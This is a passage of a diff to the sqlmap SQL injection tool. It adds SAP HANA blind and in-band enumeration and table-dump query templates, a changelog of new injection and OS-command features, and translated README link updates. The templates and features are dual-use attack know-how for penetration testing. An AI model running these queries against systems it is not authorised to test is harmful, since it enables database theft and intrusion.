<blind query="SELECT TOP (%d,1) %s FROM %s.%s" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
<blind query="SELECT TOP (%d,1) %s FROM %s.%s ORDER BY %s" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT "schema_name" FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition=""schema_name""/>
|
||||
@@ -1837,7 +1857,7 @@
|
||||
<hostname query="PARSE_JSON(SYSTEM$ALLOWLIST())[0]:host"/>
|
||||
<table_comment/>
|
||||
<column_comment/>
|
||||
<is_dba query="CURRENT_ROLE()='ACCOUNTADMIN'"/>
|
||||
<is_dba query="CURRENT_ROLE()='ACCOUNTADMIN' OR ARRAY_CONTAINS('ACCOUNTADMIN'::VARIANT,PARSE_JSON(CURRENT_AVAILABLE_ROLES()))"/>
|
||||
<dbs>
|
||||
<inband query="SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA"/>
|
||||
<blind query="SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA ORDER BY SCHEMA_NAME LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA"/>
|
||||
@@ -1934,4 +1954,77 @@
|
||||
<blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s ORDER BY table_schema" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema" condition3="table_name"/>
|
||||
</search_column>
|
||||
</dbms>
|
||||
|
||||
<dbms value="SAP HANA">
|
||||
<cast query="CAST(%s AS VARCHAR(5000))"/>
|
||||
<length query="LENGTH(%s)"/>
|
||||
<isnull query="IFNULL(%s,' ')"/>
|
||||
<delimiter query="||"/>
|
||||
<limit query="LIMIT %d OFFSET %d"/>
|
||||
<limitregexp query="\s+LIMIT\s+([\d]+)\s+OFFSET\s+([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
|
||||
<limitgroupstart query="2"/>
|
||||
<limitgroupstop query="1"/>
|
||||
<limitstring query=" OFFSET "/>
|
||||
<order query="ORDER BY %s ASC"/>
|
||||
<count query="COUNT(%s)"/>
|
||||
<comment query="--"/>
|
||||
<substring query="SUBSTRING(%s,%d,%d)"/>
|
||||
<concatenate query="%s||%s"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END) FROM DUMMY"/>
|
||||
<hex query="BINTOHEX(TO_BINARY(%s))"/>
|
||||
<inference query="UNICODE(SUBSTRING((%s),%d,1))>%d"/>
|
||||
<banner query="SELECT VERSION FROM SYS.M_DATABASE"/>
|
||||
<current_user query="SELECT CURRENT_USER FROM DUMMY"/>
|
||||
<current_db query="SELECT CURRENT_SCHEMA FROM DUMMY"/>
|
||||
<hostname query="SELECT HOST FROM SYS.M_HOST_INFORMATION WHERE KEY='host_name'"/>
|
||||
<table_comment query="SELECT COMMENTS FROM SYS.TABLES WHERE SCHEMA_NAME='%s' AND TABLE_NAME='%s'"/>
|
||||
<column_comment query="SELECT COMMENTS FROM SYS.TABLE_COLUMNS WHERE SCHEMA_NAME='%s' AND TABLE_NAME='%s' AND COLUMN_NAME='%s'"/>
|
||||
<is_dba query="EXISTS(SELECT 1 FROM SYS.EFFECTIVE_PRIVILEGES WHERE USER_NAME=CURRENT_USER AND PRIVILEGE IN ('DATA ADMIN','USER ADMIN','ROLE ADMIN'))"/>
|
||||
<check_udf/>
|
||||
<users>
|
||||
<inband query="SELECT USER_NAME FROM SYS.USERS"/>
|
||||
<blind query="SELECT USER_NAME FROM SYS.USERS ORDER BY USER_NAME LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM SYS.USERS"/>
|
||||
</users>
|
||||
<passwords/>
|
||||
<privileges>
|
||||
<inband query="SELECT GRANTEE,PRIVILEGE FROM SYS.GRANTED_PRIVILEGES WHERE OBJECT_TYPE='SYSTEMPRIVILEGE'" condition="grantee"/>
|
||||
<blind query="SELECT PRIVILEGE FROM SYS.GRANTED_PRIVILEGES WHERE OBJECT_TYPE='SYSTEMPRIVILEGE' AND GRANTEE='%s' ORDER BY PRIVILEGE LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM SYS.GRANTED_PRIVILEGES WHERE OBJECT_TYPE='SYSTEMPRIVILEGE' AND GRANTEE='%s'"/>
|
||||
</privileges>
|
||||
<roles>
|
||||
<inband query="SELECT GRANTEE,ROLE_NAME FROM SYS.GRANTED_ROLES" condition="grantee"/>
|
||||
<blind query="SELECT ROLE_NAME FROM SYS.GRANTED_ROLES WHERE GRANTEE='%s' ORDER BY ROLE_NAME LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM SYS.GRANTED_ROLES WHERE GRANTEE='%s'"/>
|
||||
</roles>
|
||||
<statements>
|
||||
<inband query="SELECT STATEMENT_STRING FROM SYS.M_SQL_PLAN_CACHE"/>
|
||||
<blind query="SELECT STATEMENT_STRING FROM SYS.M_SQL_PLAN_CACHE ORDER BY LAST_EXECUTION_TIMESTAMP DESC LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM SYS.M_SQL_PLAN_CACHE"/>
|
||||
</statements>
|
||||
<dbs>
|
||||
<inband query="SELECT SCHEMA_NAME FROM SYS.SCHEMAS"/>
|
||||
<blind query="SELECT SCHEMA_NAME FROM SYS.SCHEMAS ORDER BY SCHEMA_NAME LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM SYS.SCHEMAS"/>
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT SCHEMA_NAME,OBJECT_NAME FROM SYS.OBJECTS WHERE OBJECT_TYPE IN ('TABLE','VIEW')" condition="schema_name"/>
|
||||
<blind query="SELECT OBJECT_NAME FROM SYS.OBJECTS WHERE SCHEMA_NAME='%s' AND OBJECT_TYPE IN ('TABLE','VIEW') ORDER BY OBJECT_NAME LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM SYS.OBJECTS WHERE SCHEMA_NAME='%s' AND OBJECT_TYPE IN ('TABLE','VIEW')"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT COLUMN_NAME,DATA_TYPE_NAME FROM SYS.COLUMNS WHERE TABLE_NAME='%s' AND SCHEMA_NAME='%s' ORDER BY POSITION" condition="column_name"/>
|
||||
<blind query="SELECT COLUMN_NAME FROM SYS.COLUMNS WHERE TABLE_NAME='%s' AND SCHEMA_NAME='%s' ORDER BY POSITION" query2="SELECT DATA_TYPE_NAME FROM SYS.COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND SCHEMA_NAME='%s'" count="SELECT COUNT(*) FROM SYS.COLUMNS WHERE TABLE_NAME='%s' AND SCHEMA_NAME='%s'" condition="column_name"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s"/>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT SCHEMA_NAME FROM SYS.SCHEMAS WHERE %s" condition="schema_name"/>
|
||||
<blind query="SELECT DISTINCT(SCHEMA_NAME) FROM SYS.SCHEMAS WHERE %s ORDER BY SCHEMA_NAME" count="SELECT COUNT(DISTINCT(SCHEMA_NAME)) FROM SYS.SCHEMAS WHERE %s" condition="schema_name"/>
|
||||
</search_db>
|
||||
<search_table>
|
||||
<inband query="SELECT SCHEMA_NAME,TABLE_NAME FROM SYS.TABLES WHERE %s" condition="table_name" condition2="schema_name"/>
|
||||
<blind query="SELECT DISTINCT(SCHEMA_NAME) FROM SYS.TABLES WHERE %s ORDER BY SCHEMA_NAME" query2="SELECT TABLE_NAME FROM SYS.TABLES WHERE SCHEMA_NAME='%s'" count="SELECT COUNT(DISTINCT(SCHEMA_NAME)) FROM SYS.TABLES WHERE %s" count2="SELECT COUNT(*) FROM SYS.TABLES WHERE SCHEMA_NAME='%s'" condition="table_name" condition2="schema_name"/>
|
||||
</search_table>
|
||||
<search_column>
|
||||
<inband query="SELECT SCHEMA_NAME,TABLE_NAME FROM SYS.COLUMNS WHERE %s" condition="column_name" condition2="schema_name" condition3="table_name"/>
|
||||
<blind query="SELECT DISTINCT(SCHEMA_NAME) FROM SYS.COLUMNS WHERE %s ORDER BY SCHEMA_NAME" query2="SELECT DISTINCT(TABLE_NAME) FROM SYS.COLUMNS WHERE SCHEMA_NAME='%s'" count="SELECT COUNT(DISTINCT(SCHEMA_NAME)) FROM SYS.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(TABLE_NAME)) FROM SYS.COLUMNS WHERE SCHEMA_NAME='%s'" condition="column_name" condition2="schema_name" condition3="table_name"/>
|
||||
</search_column>
|
||||
</dbms>
|
||||
</root>
|
||||
|
||||
@@ -1,3 +1,105 @@
|
||||
# Version 2.0 (WIP)
|
||||
|
||||
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.10...master)
|
||||
|
||||
## Injection techniques
|
||||
|
||||
* Added the switch `--nosql`. It tests for NoSQL injection. It also dumps the data that it finds.
|
||||
* Added the switch `--xpath`. It tests for XPath injection.
|
||||
* Added the switch `--ldap`. It tests for LDAP injection.
|
||||
* Added the switch `--ssti`. It tests for server-side template injection. It also covers Struts2 and OGNL.
|
||||
* Added the switch `--graphql`. It tests for GraphQL injection.
|
||||
* Added the switch `--hql`. It tests for HQL and JPQL (Hibernate ORM) injection.
|
||||
* Added the switch `--sparql`. It tests for SPARQL injection in triple stores (Apache Jena, Virtuoso, Blazegraph, GraphDB). It confirms the finding with a SPARQL-only construct and then blindly dumps the predicates and the triple objects of the default graph.
|
||||
* Added the switch `--odata`. It tests for OData `$filter` injection (Microsoft OData, Apache Olingo). It confirms the finding with an OData-only function, tells the version apart, and blindly dumps the entities, including the properties that the endpoint does not return.
|
||||
* Added the switch `--xslt`. It tests for XSLT injection. The engine names itself in the response. sqlmap then dumps the XML document that the stylesheet transforms. It also reads the files that the engine can reach. When the engine exposes an extension bridge (PHP `php:function` or the Xalan `java:` namespace), sqlmap reads any file through it, and with `--os-cmd` or `--os-shell` it runs operating system commands.
|
||||
* Added the switch `--xxe`. It tests for XML External Entity injection. It uses in-band, error-based, and out-of-band channels.
|
||||
* Added the switch `--jwt`. It examines JSON Web Tokens for weak keys and for injection in the claims.
|
||||
|
||||
## Speed
|
||||
|
||||
* Added the switch `--timeless`. It reads each blind bit from the HTTP/2 response order. It does not use a delay. sqlmap calibrates the target first, and it uses the usual time-based technique if the target is not applicable.
|
||||
* Added set-membership (Huffman) retrieval for blind dumps. It needs fewer requests for each character. Use `--no-huffman` to stop it.
|
||||
* Added keyset (seek) pagination for blind table dumps. Use `--no-keyset` to stop it.
|
||||
* Added parallel retrieval of values in blind mode. Each thread retrieves a different value.
|
||||
* Made Keep-Alive the default. Use the switch `--no-keep-alive` to stop it.
|
||||
* Added the reuse of HTTP/2 connections.
|
||||
* Added the switch `--lengths`. It compares the pages only by the content length.
|
||||
* Made the HashDB operations faster.
|
||||
* Made the tamper script `luanginxmore` much faster.
|
||||
|
||||
## Targets and results
|
||||
|
||||
* Added the option `--openapi`. It makes the list of targets from an OpenAPI or Swagger document. The options `--openapi-base` and `--openapi-tags` limit that list.
|
||||
* Added the switch `--mine-params`. It finds hidden GET parameters.
|
||||
* Added the switch `--proof`. It proves the exploitation of each injection point that it finds.
|
||||
* Added the option `--report-json`. It writes the results of the run to a JSON file.
|
||||
* Added the switch `--procs`. It retrieves the stored procedures and their source code.
|
||||
* Added the option `--exclude`. It gives the databases that sqlmap must not enumerate.
|
||||
* Added JSONL as a dump format.
|
||||
* Added the use of sqlmap as a library.
|
||||
* Added experimental support for gRPC-Web (text) requests.
|
||||
* Improved the crawler. It now finds the endpoints in JavaScript files.
|
||||
|
||||
## Back-end DBMS
|
||||
|
||||
* Added support for SAP HANA.
|
||||
* Added support for Snowflake.
|
||||
* Added support for Google Cloud Spanner.
|
||||
* Added support for DuckDB and Trino as forks.
|
||||
* Added the switch `--esperanto`. It enumerates a back-end DBMS that sqlmap cannot identify.
|
||||
* Added XQuery support to the switch `--xpath`. XQuery is a superset of XPath, so the same injection point gives more. On a back-end that supports it, sqlmap reads a file through `unparsed-text()`.
|
||||
* Added error-based payloads for CUBRID, InterSystems Cache, Virtuoso, H2, Firebird, and Vertica.
|
||||
* Added time-based payloads for CUBRID.
|
||||
* Added out-of-band DNS channels for H2 and ClickHouse.
|
||||
* Added PostgreSQL command execution through a PL extension.
|
||||
* Added the running of non-query statements without stacked queries through a gadget. On PostgreSQL, when the `dblink` extension is present, `--sql-query`, `--file-write`, `--os-cmd`, and `--os-shell` now work from a plain (e.g. boolean-based) injection point.
|
||||
* Added file read and file write support for SQLite through the `fileio` extension functions `readfile` and `writefile`.
|
||||
* Added the data access and the security type of a routine to the output of `--procs` on MySQL and PostgreSQL, so a routine that runs as its definer or that modifies data stands out.
|
||||
* Added the tamper scripts `blindbinary`, `dollarquote`, `infoschema2innodb`, `oraclequote`, and `sign`.
|
||||
|
||||
## Fewer dependencies
|
||||
|
||||
* Added an HTTP/2 client. It uses only the standard library.
|
||||
* Added WebSocket support. It uses only the standard library.
|
||||
* Added the decoding of Brotli and Zstandard responses. It uses only the standard library.
|
||||
* Added Kerberos and Negotiate authentication. It uses only the standard library.
|
||||
* Added NTLM authentication. This removed a deprecated third-party library.
|
||||
* Rewrote the Keep-Alive handler. This removed the third-party package `keepalive`.
|
||||
* Removed the third-party packages `multipart`, `odict`, and `prettyprint`.
|
||||
* Replaced SocksiPy with PySocks.
|
||||
|
||||
## Security
|
||||
|
||||
* Removed all use of `pickle`. sqlmap now uses JSON for the session data and for the other serialized data.
|
||||
* The REST API now requires authentication credentials.
|
||||
* Put the `eval` behavior behind the environment variable `SQLMAP_UNSAFE_EVAL`.
|
||||
* Put the option `--alert` behind the environment variable `SQLMAP_UNSAFE_ALERT`.
|
||||
* Hardened the Brotli and the Zstandard decoders against hostile input.
|
||||
|
||||
## Correctness
|
||||
|
||||
* Made the boolean inference more reliable when the network has much jitter.
|
||||
* Added automatic recovery when the page charset and the data charset do not agree.
|
||||
* sqlmap now finds binary fields automatically in blind mode.
|
||||
* Added support for the response code 429 (rate limit).
|
||||
* Corrected the retrieval of UTF8MB4 characters from MySQL.
|
||||
* Corrected the Set-Cookie behavior in redirections. Added support for domain cookies.
|
||||
* sqlmap now keeps the value of an injected Host header.
|
||||
* Removed the time outliers from the time statistics.
|
||||
* Improved the detection of the SQL dialect of the target.
|
||||
* The switch `--xpath` no longer reports an injection when the page changes only because it shows the payload again. Reflection is not proof that an expression was evaluated.
|
||||
* sqlmap now makes sure that the random markers around the retrieved data are all different. Two equal markers made the error-based technique give back the wrong character.
|
||||
* Made the heuristic hints of the non-SQL switches exclusive. A signature no longer matches the errors of a different engine, an ordinary SQL error, or a page that only contains the name of a template engine.
|
||||
* Corrected the GraphQL validation signatures. They now match the quotes in the way that the JSON body escapes them.
|
||||
* Added the error signatures of Mako and of DynamoDB. sqlmap did not recognise the errors of these two back-ends.
|
||||
|
||||
## Quality
|
||||
|
||||
* Added a unit test suite. It has more than 90 modules, and it runs on Python 2 and Python 3.
|
||||
* Added pyflakes and more self-test stages to the CI/CD pipeline.
|
||||
* Added `doc/ARCHITECTURE.md`.
|
||||
|
||||
# Version 1.10 (2026-01-01)
|
||||
|
||||
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.9...1.10)
|
||||
|
||||
@@ -623,6 +623,9 @@ Thierry Zoller, <thierry(at)zoller.lu>
|
||||
Zhen Zhou, <zhouzhenster(at)gmail.com>
|
||||
* for suggesting a feature
|
||||
|
||||
Zakaria Zoulati, <https://github.com/zakaria-zoulati>
|
||||
* for contributing SAP HANA support
|
||||
|
||||
-insane-, <insane_(at)gmx.de>
|
||||
* for reporting a minor bug
|
||||
|
||||
|
||||
@@ -46,8 +46,6 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
* The `Chardet` library located under `thirdparty/chardet/`.
|
||||
Copyright (C) 2008, Mark Pilgrim.
|
||||
* The `MultipartPost` library located under `thirdparty/multipart/`.
|
||||
Copyright (C) 2006, Will Holcomb.
|
||||
* The `icmpsh` tool located under `extra/icmpsh/`.
|
||||
Copyright (C) 2010, Nico Leidecker, Bernardo Damele.
|
||||
|
||||
@@ -270,8 +268,6 @@ be bound by the terms and conditions of this License Agreement.
|
||||
Copyright (C) 2024, Marcel Hellkamp.
|
||||
* The `identYwaf` library located under `thirdparty/identywaf/`.
|
||||
Copyright (C) 2019-2021, Miroslav Stampar.
|
||||
* The `ordereddict` library located under `thirdparty/odict/`.
|
||||
Copyright (C) 2009, Raymond Hettinger.
|
||||
* The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`.
|
||||
Copyright (C) 2010-2024, Benjamin Peterson.
|
||||
* The `Termcolor` library located under `thirdparty/termcolor/`.
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -65,4 +65,6 @@
|
||||
* الأسئلة الشائعة: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* تويتر: [@sqlmap](https://x.com/sqlmap)
|
||||
* العروض التوضيحية: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* لقطات الشاشة: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
* ساحة التدريب: https://sekumart.sekuripy.hr
|
||||
* الأبحاث: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||
* لقطات الشاشة: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -47,4 +47,6 @@ sqlmap работи самостоятелно с [Python](https://www.python.or
|
||||
* Често задавани въпроси (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Площадка за упражнения: https://sekumart.sekuripy.hr
|
||||
* Изследвания: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||
* Снимки на екрана: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -58,5 +58,7 @@ SQLMap-এর সম্পূর্ণ ফিচার, ক্ষমতা, এ
|
||||
* সচরাচর জিজ্ঞাসিত প্রশ্ন (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* ডেমো ভিডিও: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* অনুশীলন সাইট: https://sekumart.sekuripy.hr
|
||||
* গবেষণা: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||
* স্ক্রিনশট: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -62,6 +62,8 @@ sqlmap لە دەرەوەی سندوق کاردەکات لەگەڵ [Python](https
|
||||
* پرسیارە زۆرەکان (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* دیمۆ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* گۆڕەپانی تاقیکردنەوە: https://sekumart.sekuripy.hr
|
||||
* توێژینەوە: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||
* وێنەی شاشە: https://github.com/sqlmapproject/sqlmap/wiki/وێنەی شاشە
|
||||
|
||||
وەرگێڕانەکان
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -46,4 +46,6 @@ Links
|
||||
* Häufig gestellte Fragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demonstrationen: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Spielwiese: https://sekumart.sekuripy.hr
|
||||
* Forschung: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -46,4 +46,6 @@ Enlaces
|
||||
* Preguntas frecuentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demostraciones: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Campo de pruebas: https://sekumart.sekuripy.hr
|
||||
* Investigación: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||
* Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -81,4 +81,6 @@
|
||||
* سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* توییتر: [@sqlmap](https://x.com/sqlmap)
|
||||
* رسانه: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* زمین تمرین: https://sekumart.sekuripy.hr
|
||||
* پژوهش: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||
* تصاویر: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -46,4 +46,6 @@ Liens
|
||||
* Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Démonstrations: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Terrain de jeu: https://sekumart.sekuripy.hr
|
||||
* Recherche: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||
* Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -47,4 +47,6 @@
|
||||
* Συχνές Ερωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Χώρος δοκιμών: https://sekumart.sekuripy.hr
|
||||
* Έρευνα: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||
* Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -47,4 +47,6 @@ Poveznice
|
||||
* Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Vježbalište: https://sekumart.sekuripy.hr
|
||||
* Istraživanje: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||
* Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -50,4 +50,6 @@ Tautan
|
||||
* Pertanyaan Yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Video Demo [#1](https://www.youtube.com/user/inquisb/videos) dan [#2](https://www.youtube.com/user/stamparm/videos)
|
||||
* Arena latihan: https://sekumart.sekuripy.hr
|
||||
* Riset: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||
* Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -46,5 +46,7 @@ sqlmap [Python](https://www.python.org/download/) संस्करण **2.7**
|
||||
* अक्सर पूछे जाने वाले प्रश्न (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* ट्विटर: [@sqlmap](https://x.com/sqlmap)
|
||||
* डेमो: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* अभ्यास स्थल: https://sekumart.sekuripy.hr
|
||||
* अनुसंधान: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||
* स्क्रीनशॉट: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
*
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -47,4 +47,6 @@ Link
|
||||
* Domande più frequenti (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Dimostrazioni: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Campo di prova: https://sekumart.sekuripy.hr
|
||||
* Ricerca: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||
* Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -48,4 +48,6 @@ sqlmapの概要、機能の一覧、全てのオプションやスイッチの
|
||||
* よくある質問 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
